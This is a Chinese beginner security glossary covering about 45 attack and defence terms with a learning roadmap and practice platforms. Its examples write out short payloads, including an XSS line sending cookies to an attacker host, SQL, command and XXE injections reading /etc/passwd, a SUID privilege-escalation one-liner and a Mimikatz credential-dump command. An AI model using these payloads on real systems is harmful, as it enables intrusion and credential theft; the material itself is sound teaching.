28. 安全术语知识 Glossary
阅读说明
本章是安全入门教材，不是词典。每个术语包含7部分：通俗解释（大白话）、含义（专业定义）、前置知识、实际操作用法、防守怎么防、动手练习、案例。按推荐路线学习效果最好。
推荐学习路线图
不要从头读到尾。按阶段学，每个阶段有明确的完成标准。
阶段一：打基础（先学这10个）
Web、渗透测试、CVE、Nday、SQL注入、XSS、越权(IDOR)、JWT、Burp、Nmap
完成标准：能解释 SQL注入/XSS/IDOR 的区别，能用 Burp 拦截并修改请求，能读懂一个 CVE 页面。
阶段二：Web进阶（第11-20个）
SSRF、XXE、SSTI、CSRF、文件上传、路径穿越、命令注入、反序列化、RCE、WAF
完成标准：能画出从输入点到 RCE 的2条常见链路，能区分这些漏洞的触发条件。
阶段三：主机与内网（第21-30个）
提权、红队、蓝队、钓鱼、社工、C2、APT、域渗透、Pass-the-Hash、Mimikatz
完成标准：知道提权/横向移动/C2在攻击链中的位置，能解释红蓝对抗流程。
阶段四：二进制与对抗（第31-40+个）
缓冲区溢出、UAF、ASLR、逆向、PWN、CTF、EXP、Cobalt Strike、免杀、EDR、蜜罐、0day、溯源、应急响应、漏洞挖掘
完成标准：能解释栈溢出原理，能用 pwntools 做一道基础 PWN 题，能区分0day和Nday。
快速对照表
| 术语 | 一句话 | 难度 | 方向 |
|---|---|---|---|
| CVE | 漏洞的身份证号 | L1 | 通识 |
| EXP | 漏洞的利用代码 | L2 | 通识 |
| RCE | 远程执行任意命令 | L2 | 通识 |
| SQL注入 | 输入框变成数据库命令行 | L1 | Web |
| XSS | 在别人浏览器里执行你的脚本 | L1 | Web |
| SSRF | 让服务器帮你访问内部地址 | L2 | Web |
| XXE | XML解析器读了不该读的文件 | L2 | Web |
| SSTI | 模板引擎执行了用户输入 | L2 | Web |
| CSRF | 冒用你的身份发请求 | L1 | Web |
| 文件上传 | 传个木马上去当网页执行 | L1 | Web |
| 路径穿越 | ../../读到系统文件 | L1 | Web |
| 命令注入 | 输入框变成系统命令行 | L1 | Web |
| 反序列化 | 数据还原时执行了恶意代码 | L2 | Web |
| 越权(IDOR) | 改个ID就能看别人数据 | L1 | Web |
| JWT | 身份令牌伪造 | L1 | Web |
| UAF | 内存释放后还在用 | L3 | 二进制 |
| 缓冲区溢出 | 数据溢出覆盖执行地址 | L3 | 二进制 |
| ASLR | 地址随机化防利用 | L3 | 二进制 |
| 0day | 没补丁的漏洞 | L2 | 通识 |
| Nday | 有补丁但没人打 | L1 | 通识 |
| 漏洞挖掘 | 系统化找软件缺陷 | L3 | 通识 |
| 红队 | 模拟攻击者找防线漏洞 | L2 | 通识 |
| 蓝队 | 监控检测响应加固 | L2 | 蓝队 |
| 渗透测试 | 授权模拟攻击验证安全 | L1 | 通识 |
| 提权 | 普通用户变管理员 | L2 | 主机 |
| 域渗透 | 拿下Windows域控 | L3 | 内网 |
| Pass-the-Hash | 用密码哈希冒充登录 | L3 | 内网 |
| 钓鱼 | 伪装邮件骗密码 | L1 | 社工 |
| 社工 | 攻击人而不是电脑 | L1 | 社工 |
| APT | 国家级长期潜伏攻击 | L3 | 威胁情报 |
| C2 | 木马的遥控通道 | L2 | 主机 |
| 溯源 | 被黑后追查攻击者 | L3 | 蓝队 |
| 应急响应 | 被黑后的灭火流程 | L2 | 蓝队 |
| WAF | 网站的请求保安 | L1 | 防御 |
| 蜜罐 | 诱饵系统钓攻击者 | L2 | 蓝队 |
| EDR | 终端安全摄像头 | L2 | 蓝队 |
| Burp | Web测试瑞士军刀 | L1 | 工具 |
| Nmap | 网络端口探测器 | L1 | 工具 |
| Mimikatz | Windows密码提取器 | L3 | 工具 |
| Cobalt Strike | 红队作战指挥平台 | L3 | 工具 |
| 免杀 | 绕过杀毒检测 | L3 | 对抗 |
| 逆向 | 从程序反推源代码 | L3 | 二进制 |
| CTF | 安全攻防比赛 | L1 | 竞赛 |
| PWN | 二进制漏洞利用方向 | L3 | 竞赛 |
| Web(安全) | 网站安全攻防方向 | L1 | 竞赛 |
常见攻击升级链
术语不是孤立的，它们会串成一条攻击路径。理解这些链路是把40个词变成真实技能的关键。
完整攻击链流程
→ 提权(root/admin) → 横向移动(Pass-the-Hash/域渗透) → C2通道建立 → 持久化(后门/计划任务)
→ 目标达成(数据窃取/破坏) → 被发现 → 溯源 → 应急响应
阶段一：Web基础漏洞
1. SQL注入 Web L1
通俗解释：网站让你填用户名，你不老实填名字，反而填了一段数据库命令。网站没防备，把你填的东西直接当命令执行了，你就能偷看、修改甚至删掉整个数据库。
含义：SQL注入是应用把不可信输入拼接进数据库查询语句，导致查询逻辑被篡改。
实际操作用法：渗透测试人员会在授权环境验证登录框、搜索框、筛选参数是否存在注入点；开发侧用参数化查询和ORM绑定修复。
案例：登录框输入 admin' OR '1'='1' --，后端直接拼接SQL，绕过密码验证直接登录管理员。
2. XSS Web L1
通俗解释：你在论坛发了一条帖子藏了恶意代码，别人打开时代码在他们浏览器里偷偷运行——偷cookie、冒充身份、跳转钓鱼页面。
含义：XSS（Cross-Site Scripting）是恶意脚本被注入页面并在受害者浏览器执行。
实际操作用法：测试评论区、昵称、富文本输出是否可注入脚本。
案例：评论区输入 <script>document.location='http://攻击者/steal?c='+document.cookie</script>，其他用户浏览时cookie被偷。
3. 越权 IDOR Web L1
通俗解释：你把网址里的数字改了一下，就能看到别人的订单、隐私信息，甚至进管理后台。系统压根没检查"这东西是不是你的"。
含义：越权是用户访问了本不属于自己权限范围的数据或功能，含水平越权和垂直越权。
实际操作用法：用不同角色账号对比同一接口的资源访问范围，确认服务端是否做了身份与对象级校验。
案例：/api/order/1001 改成 1002 就能看到别人订单。
4. CSRF Web L1（新增）
通俗解释：你登着银行网站没退出，这时候点了一个恶意链接。这个链接偷偷用你的登录状态向银行发了一个转账请求——银行以为是你自己操作的。你全程不知道。
含义：CSRF（Cross-Site Request Forgery）是利用受害者的已登录状态，诱导浏览器自动发送恶意请求。
实际操作用法：测试表单提交、密码修改、支付接口是否有CSRF Token校验。
案例：构造一个隐藏表单自动提交到 /transfer?to=attacker&amount=10000，受害者打开页面就触发转账。
5. 文件上传漏洞 Web L1（新增）
通俗解释：网站让你上传头像，你传了一个.php文件上去。服务器没检查文件类型，把它当网页代码执行了——你就有了一个能执行任意命令的"后门"。
含义：文件上传漏洞是服务端未正确校验上传文件的类型/内容，导致恶意文件被上传并执行。
实际操作用法：测试上传功能是否限制了后缀、MIME类型、文件内容；是否能通过双后缀/大小写/截断绕过。
案例：上传一个名为 shell.php.jpg 的文件，某些服务器配置会按php解析执行，攻击者获得webshell。
6. 路径穿越 Directory Traversal Web L1（新增）
通俗解释：网站有个下载功能 ?file=report.pdf，你把文件名改成 ../../etc/passwd，服务器就傻乎乎地把系统密码文件给你下载了。
含义：路径穿越是通过 ../ 等手段跳出预期目录，读取任意文件。与文件包含（LFI/RFI）相关但不同：路径穿越侧重"读文件"，文件包含侧重"执行文件中的代码"。
实际操作用法：测试所有文件读取/下载/包含功能的参数是否可拼接 ../。
案例：/download?file=../../etc/passwd 成功读取系统用户列表。
7. 命令注入 Command Injection Web L1（新增）
通俗解释：网站有个ping功能让你输IP，你输了 127.0.0.1; cat /etc/passwd，分号后面的命令也被系统执行了。从Web输入框直接跳到操作系统命令行。
含义：命令注入是用户输入被拼接到系统命令中执行，攻击者可注入额外命令。
实际操作用法：凡是后端调用系统命令处理用户输入的地方（ping、DNS查询、文件转换），都要测命令注入。
案例：ping功能输入 127.0.0.1 && whoami，返回中出现 www-data，确认命令被执行。
8. JWT Web L1
通俗解释：JWT像一张电子通行证，网站发给你证明"我是谁"。但如果防伪机制有缺陷，你能自己伪造一张假证冒充任何人。
含义：JWT（JSON Web Token）是常见身份令牌格式，含声明、签名和可验证字段。
实际操作用法：检查JWT是否存在弱密钥、未校验签名或算法混淆问题。
案例：把 "alg":"HS256" 改成 "alg":"none"，仅在未严格校验签名的缺陷实现中可伪造身份。
9. 认证/授权/会话 Authentication/Authorization/Session Web L1（新增）
通俗解释：认证="你是谁"（登录验证），授权="你能干什么"（权限控制），会话="系统怎么记住你已经登录了"（Cookie/Session/Token）。这三个概念是理解IDOR、JWT、XSS、CSRF的地基——搞不清这三个，后面的漏洞全看不懂。
含义：认证（Authentication）验证用户身份，授权（Authorization）控制资源访问权限，会话（Session）维持用户登录状态。三者构成Web应用安全的基础架构。
实际操作用法：安全测试时首先理清目标的认证方式（密码/OAuth/SSO）、授权模型（RBAC/ABAC）和会话机制（Cookie/JWT/Session），再针对性找漏洞。
案例：某网站登录后只靠前端JS判断用户角色（admin/user），直接修改localStorage中的role字段就能进管理后台——因为授权只在前端做，服务端没校验。
10. 日志与IOC/TTP 蓝队 L1（新增）
通俗解释：日志就是系统的"监控录像"，记录了谁在什么时候做了什么。IOC（Indicators of Compromise，失陷指标）是攻击留下的"指纹"——恶意IP、域名、文件哈希等。TTP（Tactics, Techniques, Procedures）是攻击者的"行为习惯"——比如总喜欢用PowerShell下载、总喜欢改注册表。蓝队靠日志发现问题，靠IOC确认威胁，靠TTP预判下一步。
含义：日志是系统事件记录，IOC是可观测的入侵痕迹指标，TTP是MITRE ATT&CK框架中描述攻击者行为模式的三层分类体系。
实际操作用法：应急响应时先查日志定位异常时间线，再用IOC在威胁情报平台交叉验证，最后用TTP框架判断攻击者可能的下一步行动。
案例：应急时在Web日志中发现大量 /admin/login 的POST请求（暴力破解IOC），结合源IP在威胁情报平台查到该IP属于已知僵尸网络，判定为自动化攻击。
阶段二：Web进阶漏洞
9. SSRF Web L2
通俗解释：你让服务器帮你访问一个网址，但你给的是服务器的"内部地址"。服务器傻乎乎帮你访问了自己的内部系统。
含义：SSRF（Server-Side Request Forgery）诱导服务器代替攻击者访问内部地址或受限资源。
实际操作用法：审计图片抓取、Webhook、URL预览功能。
案例：URL预览功能输入 http://169.254.169.254/latest/meta-data/，泄露AWS IAM凭据。
10. XXE Web L2
通俗解释：你在上传的XML里偷偷写了指令让服务器读自己硬盘上的文件，服务器照做了还把内容返回给你。
含义：XXE（XML External Entity）是XML解析器处理外部实体时引出的安全问题。
实际操作用法：测试XML接口或上传功能是否启用了外部实体。
案例：XML含 <!ENTITY xxe SYSTEM "file:///etc/passwd">，服务器返回密码文件内容。
11. SSTI Web L2
通俗解释：你在输入框填 {{7*7}}，页面显示49——说明你的输入在服务器上被当成代码执行了。
含义：SSTI（Server-Side Template Injection）是模板引擎把用户输入当作模板语法执行。
实际操作用法：关注邮件模板、CMS页面渲染、报表模板等场景。
案例：签名框填 {{7*7}} 显示49，进一步构造 {{config.items()}} 读取服务器配置。
12. 反序列化 Deserialization Web L2（新增）
通俗解释：程序把对象"打包"成字符串传输（序列化），收到后"拆包"还原（反序列化）。如果攻击者篡改了这个包裹，拆包时就会执行恶意代码——相当于拆了一个炸弹快递。
含义：不安全的反序列化是指应用在还原对象时未校验数据来源和完整性，导致攻击者可构造恶意对象执行代码。
实际操作用法：检查接口是否接受序列化数据（Java的rO0AB、PHP的O:开头），用ysoserial等工具生成payload测试。
案例：Weblogic CVE-2019-2725：通过构造恶意序列化数据发送到T3协议接口，触发远程代码执行。
13. RCE 通识 L2
通俗解释：你坐在自己电脑前，就能让别人的服务器执行任何命令——基本等于远程接管对方电脑。
含义：RCE（Remote Code Execution）指远程代码执行，攻击者可在目标系统上运行任意代码。
实际操作用法：应急时首先判断漏洞是否可演变成RCE，这决定了事件严重等级。
案例：Struts2 S2-045，构造恶意Content-Type头即可在服务器执行 whoami。
14. WAF 防御 L1
通俗解释：网站的"保安"，站在门口检查每个请求。看到可疑的就拦下来。但它不是万能的，聪明的攻击者可以绕过。
含义：WAF（Web Application Firewall）面向Web应用的防护网关，拦截常见攻击流量。
实际操作用法：紧急时先加WAF规则争取打补丁时间。
案例：Log4Shell爆发当天加WAF拦截 ${jndi: 作为临时缓解，但存在多种绕过变体，不能替代补丁。
通识概念
15. CVE 通识 L1
通俗解释：每个bug的"身份证号"。全世界发现的安全漏洞都分配一个CVE编号，方便用同一个号讨论同一个问题。
含义：CVE（Common Vulnerabilities and Exposures）是公开漏洞的统一编号体系。
实际操作用法：按软件版本匹配CVE编号，决定升级、加规则还是做补丁验证。
案例：CVE-2021-44228（Log4Shell），CVSS评分10.0（满分），影响全球数百万Java应用。
16. Nday 通识 L1
通俗解释：补丁发了N天了，但还有一大堆人没打。攻击者最爱这种——白送的靶子。
含义：Nday指已公开且通常已有补丁，但仍有大量系统未修复的漏洞。
实际操作用法：安全巡检优先统计高危Nday暴露面。
案例：永恒之蓝（MS17-010）微软2017年3月出补丁，两个月后WannaCry仍横扫全球。
17. 0day 通识 L2
通俗解释：漏洞被发现了但官方还没出补丁，连"病"叫什么都不知道，更没有"药"。
含义：0day指厂商尚未提供官方补丁、公众防护尚未展开的漏洞。
实际操作用法：蓝队面对0day先做临时隔离、规则缓解、流量监控。
案例：2023年MOVEit Transfer 0day，被Cl0p勒索组织大规模利用，数百家企业数据被窃。
18. EXP 通识 L2
通俗解释：知道门有锁眼（漏洞），EXP就是那把能打开门的钥匙。把漏洞从"理论上有风险"变成"实际能打进去"。
含义：EXP（Exploit）是针对某个漏洞的利用代码、利用链或利用思路。
实际操作用法：授权测试中用公开EXP验证目标是否可被打通。
案例：Log4Shell的EXP构造恶意LDAP服务器，目标解析JNDI字符串时自动下载执行恶意class。
19. 渗透测试 通识 L1
通俗解释：请人来你家"试着撬锁"——看门窗结不结实。测完给份报告：哪扇窗能打开、怎么打开的、怎么加固。
含义：渗透测试是在授权范围内模拟攻击，验证系统是否存在可被利用的安全缺陷。
实际操作用法：交付物是"哪些问题可以打通、影响什么、修复优先级怎么排"。
案例：测试电商网站发现支付接口可篡改金额（0.01元购买任意商品），标为严重。
阶段三：主机与内网
20. 提权 主机 L2
通俗解释：你是普通员工，通过找系统配置漏洞把自己变成老板。一旦提权成功，整台机器就是你的。
含义：从低权限身份获取更高权限，如普通用户→root/管理员。
实际操作用法：拿到普通权限后评估内核补丁、服务配置、凭据存储和计划任务。
案例：/usr/bin/find 有SUID位，find . -exec /bin/sh -p \; 获得root。
21. 红队 通识 L2
通俗解释：公司花钱请"好人黑客"假装攻击自己，看防线有多少窟窿。
含义：红队模拟真实攻击者，检验组织在发现、阻断和响应上的真实能力。
实际操作用法：从信息收集→初始访问→横向移动逐步推进，暴露防线盲区。
案例：护网中红队通过钓鱼拿到办公终端→域内弱口令→域控，全程未触发告警。
22. 蓝队 蓝队 L2
通俗解释：守城的人——装监控、看日志、抓异常、堵漏洞。红队找问题，蓝队挡住他们。
含义：蓝队负责监控、检测、响应和加固。
实际操作用法：联动WAF、EDR、SIEM、蜜罐和日志平台发现攻击迹象。
案例：SIEM发现凌晨3点某服务器大量PowerShell下载行为，立即隔离主机。
23. 钓鱼 社工 L1
通俗解释：假装IT部门/银行/老板给你发邮件，骗你输密码。页面和真的一模一样。最古老但至今最有效。
含义：通过伪装邮件/站点/消息诱导受害者点击、输入凭据或执行动作。
实际操作用法：企业做钓鱼演练统计点击率，反推哪些模板最危险。
案例：伪造"密码即将过期"邮件，链接指向和公司OA一样的钓鱼页面。
24. 社工 社工 L1
通俗解释：不攻击电脑，攻击人。利用信任、好心、怕麻烦的心理骗信息。技术再强，人是最大漏洞。
含义：利用人的信任、习惯和流程弱点突破防线。
实际操作用法：验证电话核验、密码重置流程、外包协作链的安全性。
案例：冒充运维打电话要VPN账号，客服没二次验证就给了。
25. C2 主机 L2
通俗解释：木马装到电脑后需要一条"遥控通道"下发指令。这条通道就是C2，通常伪装成正常网页请求。
含义：C2（Command and Control）是攻击者与被控主机间的指令和结果传输通道。
实际操作用法：蓝队检测周期性心跳、可疑域名解析、隐蔽隧道行为。
案例：木马每60秒向 update.legit-looking-domain.com 发HTTPS心跳等待指令。
26. APT 威胁情报 L3
通俗解释：有组织、有资金、有耐心的专业团队。在你网络里潜伏几个月甚至几年慢慢偷数据，背后通常有国家支持。
含义：APT（Advanced Persistent Threat）指长期潜伏、持续投入、有明确目标的高级威胁活动。
实际操作用法：威胁情报分析研究其基础设施、投递方式、横移习惯和驻留迹象。
案例：APT29（Cozy Bear）通过鱼叉邮件潜伏政府网络数月，持续窃取机密。
27. 域渗透 内网 L3
通俗解释：大公司用Windows域管理几千台电脑。拿到域控就等于拿到所有电脑的钥匙。
含义：围绕Windows域环境展开的攻击与防守，含凭据获取、提权和横向移动。
实际操作用法：验证域控暴露面、委派配置、共享权限。
案例：BloodHound发现IT运维账号有DCSync权限，直接导出所有域用户哈希。
28. Pass-the-Hash 内网 L3
通俗解释：偷到密码的"指纹"（哈希），在Windows域里用指纹就能冒充登录，不需要知道原始密码。
含义：利用口令哈希而非明文密码进行身份冒用。
实际操作用法：验证凭据泄露后的横向风险范围。
案例：从内存提取管理员NTLM哈希，直接用哈希通过SMB登录其他域内机器。
29. Mimikatz 工具 L3
通俗解释：Windows的"密码提取器"，从内存里把登录过的用户密码/哈希掏出来。域渗透核心工具。
含义：Windows凭据安全研究工具，演示凭据保护薄弱时的风险。
实际操作用法：验证凭据暴露面，推动启用凭据保护。
案例：sekurlsa::logonpasswords 可能提取到NTLM哈希、Kerberos票据或部分明文（取决于系统保护配置）。
阶段四：二进制与对抗
30. 缓冲区溢出 二进制 L3
通俗解释：盒子只能装64个字，你塞200个，多出来的覆盖了"下一步去哪"的指令。
含义：写入数据超出缓冲区边界，覆盖邻近内存结构。
实际操作用法：判断崩溃点能否转化为控制流劫持。
案例：gets(buf) 只有64字节，输入200字节覆盖返回地址劫持执行流。
31. UAF 二进制 L3
通俗解释：退房后还拿着房卡进去住。攻击者抢先占领"已退房"的内存，等程序再来用时被劫持。
含义：UAF（Use-After-Free）对象释放后仍被继续访问的内存安全漏洞。
实际操作用法：分析崩溃样本定位对象生命周期错误。
案例：Chrome V8引擎CVE-2021-21224：JS对象被释放后仍被引用，构造特定网页可执行代码。
32. ASLR 二进制 L3
通俗解释：每次开机房间号打乱重排，攻击者知道有"武器库"但不知道在哪个房间，攻击难度大增。
含义：ASLR（Address Space Layout Randomization）地址空间随机化，增加利用难度。
实际操作用法：判断目标是否启用ASLR/DEP等缓解，估算利用复杂度。
案例：无ASLR时libc system() 地址固定可直接跳；有ASLR需先泄露地址。
33. 逆向 二进制 L3
通俗解释：拿到成品蛋糕反推配方。从编译好的程序里翻译出原始逻辑，用于分析恶意软件、破解协议、找漏洞。
含义：从二进制/协议/样本行为反推程序逻辑、算法和数据结构。
实际操作用法：恶意代码分析、协议还原、客户端校验绕过。
案例：用IDA Pro分析勒索软件，发现固定AES密钥，编写解密工具帮受害者恢复文件。
34. PWN 竞赛 L3
通俗解释：CTF最硬核方向——构造精巧输入劫持程序执行流，拿服务器shell。需要懂汇编、内存、操作系统底层。
含义：CTF中偏二进制利用的方向，核心是控制执行流或打破内存安全边界。
实际操作用法：训练崩溃分析、保护机制绕过、输入控制与利用思维。
案例：pwntools构造payload：垃圾填充→覆盖返回地址→跳system("/bin/sh")→拿shell读flag。
35. CTF 竞赛 L1
通俗解释：安全圈的"电竞比赛"。解题拿flag，谁拿的多谁赢。是练手和切磋的主要方式。
含义：CTF（Capture The Flag）安全竞赛体系，训练漏洞利用、逆向、密码学和取证能力。
实际操作用法：训练新人题感与拆解速度，把零散知识转成可重复流程。
案例：Web题：SQL注入拿密码→后台文件上传→webshell→读flag。
36. Web(安全方向) 竞赛 L1
通俗解释：CTF最入门友好的方向——题目就是一个网站，你要找到它的漏洞并利用。也是工作中需求量最大的方向。
含义：Web安全方向，覆盖认证、会话、输入输出、接口和业务逻辑问题。
实际操作用法：沿"入口参数→身份边界→数据流转→业务状态机"四线分析。
案例：/download?file=../../etc/passwd 路径穿越读取系统文件。
37. Cobalt Strike 工具 L3
通俗解释：红队"作战指挥平台"。生成木马、管理被控主机、团队协作。真实攻击也常用它的变种，蓝队拿它做检测训练。
含义：对抗演练平台，面向红队协同、会话管理和后渗透流程。
实际操作用法：防守方用其流量特征做检测训练。
案例：CS生成Beacon木马→钓鱼投递→建立C2→控制台管理多台主机做截屏/键盘记录/横向移动。
38. 免杀 对抗 L3
通俗解释：给病毒"整容"——改变外表但功能不变，让杀毒软件认不出来。就像警察靠照片抓人，你换了张脸。
含义：绕过杀毒、EDR或沙箱检测的对抗能力。
实际操作用法：蓝队研究行为特征vs特征码的检测有效性。
案例：CS shellcode用AES加密嵌入Go程序，运行时内存解密执行，静态扫描无法识别。
39. EDR 蓝队 L2
通俗解释：每台电脑上的"安全摄像头"，监控运行了什么程序、访问了什么文件。发现可疑行为立刻告警，还能远程隔离。
含义：EDR（Endpoint Detection and Response）终端检测与响应系统。
实际操作用法：追踪进程树、命令行、文件落地和网络连接，还原攻击链。
案例：Word启动PowerShell执行base64命令→EDR判定宏病毒→自动隔离终端。
40. 蜜罐 蓝队 L2
通俗解释：故意摆一个假系统当诱饵。正常人不会碰它，谁来碰说明谁有问题。
含义：故意暴露的诱饵系统，用于诱捕和观察攻击者行为。
实际操作用法：放在高噪声网段识别扫描器、弱口令爆破和横向探测。
案例：内网假"财务系统"开放3389/445，任何连接触发告警。
41. 溯源 蓝队 L3
通俗解释：被黑后"破案"——从日志、木马样本、IP等线索追查谁干的。刑侦破案，但现场在网络上。
含义：从样本、流量、基础设施和行为特征还原攻击来源与路径。
实际操作用法：结合日志、主机取证和情报库确认入侵入口和影响范围。
案例：webshell中特殊编码习惯与已知团伙历史样本高度相似，形成归因线索，需交叉验证。
42. 应急响应 蓝队 L2
通俗解释：服务器被黑了的"灭火"流程。先止血→保留证据→清理恢复→复盘总结。
含义：入侵/失陷后的发现、遏制、清除、恢复和复盘流程。
实际操作用法：先隔离保全证据，再判断恢复窗口，最后补齐检测规则和复盘报告。
案例：凌晨告警CPU 100%+数据外传→断网隔离→保存快照→排查→清除→恢复→48h复盘。
43. 漏洞挖掘 通识 L3
通俗解释：像考古一样在软件里挖"坑"。通过读代码、暴力测试、对比版本差异找安全问题，然后报告给厂商修复。
含义：系统化发现软件缺陷并评估其安全影响的过程。
实际操作用法：结合代码审计、模糊测试、协议分析和差异对比。
案例：安全研究员对图片解析库持续fuzz，触发崩溃后分析发现内存越界写入漏洞。
44. Burp 工具 L1
通俗解释：Web测试的"瑞士军刀"。像中间人拦截浏览器和服务器间的所有请求，让你看到、修改、重放每一个。
含义：Burp Suite是Web安全测试代理平台，覆盖抓包、重放、扫描和请求改写。
实际操作用法：观察参数、Cookie、接口返回差异，定位越权、注入和逻辑缺陷。
案例：拦截结算请求把 "price":99.00 改成 0.01，服务端没二次校验，0.01元下单成功。
45. Nmap 工具 L1
通俗解释：网络世界的"探测器"。对着IP扫一下就知道开了哪些端口、跑了什么服务。渗透第一步。
含义：网络扫描与服务识别工具，发现开放端口、服务版本和暴露面。
实际操作用法：资产普查建立"有哪些服务对外开放"的基础地图。
nmap -sV -p- localhost；TryHackMe Nmap房间。案例：发现6379端口（Redis）无密码认证，可未授权访问。
新手练习平台推荐
Web入门
- PortSwigger Web Security Academy — 免费、系统、带解析，首选
- DVWA — 本地搭建，难度可调
- Pikachu — 中文Web靶场
- sqli-labs — 专练SQL注入
- upload-labs — 专练文件上传绕过
综合靶场
- Hack The Box — 真实环境靶机，从易到难
- TryHackMe — 引导式学习，最适合纯新手
- 攻防世界(XCTF) — 中文CTF刷题平台
- BUUCTF — 中文CTF题库
二进制/逆向
- pwn.college — 系统化PWN课程
- Crackmes.one — 逆向练习题
- how2heap — 堆利用学习
蓝队/取证
- TryHackMe蓝队路径 — 日志分析、取证、应急
- CyberDefenders — 蓝队CTF
- Malware Traffic Analysis — 恶意流量分析练习
术语关系图（按知识域）
Web漏洞家族：SQL注入、XSS、SSRF、XXE、SSTI、CSRF、文件上传、路径穿越、命令注入、反序列化、越权(IDOR)、JWT
主机/内网：提权、域渗透、Pass-the-Hash、Mimikatz、C2
二进制/内存：缓冲区溢出、UAF、ASLR、逆向、PWN
攻防流程：红队、蓝队、APT、渗透测试、钓鱼、社工、溯源、应急响应
工具与防御：Burp、Nmap、WAF、EDR、蜜罐、Cobalt Strike、免杀
通识概念：CVE、EXP、RCE、0day、Nday、漏洞挖掘、CTF、Web(方向)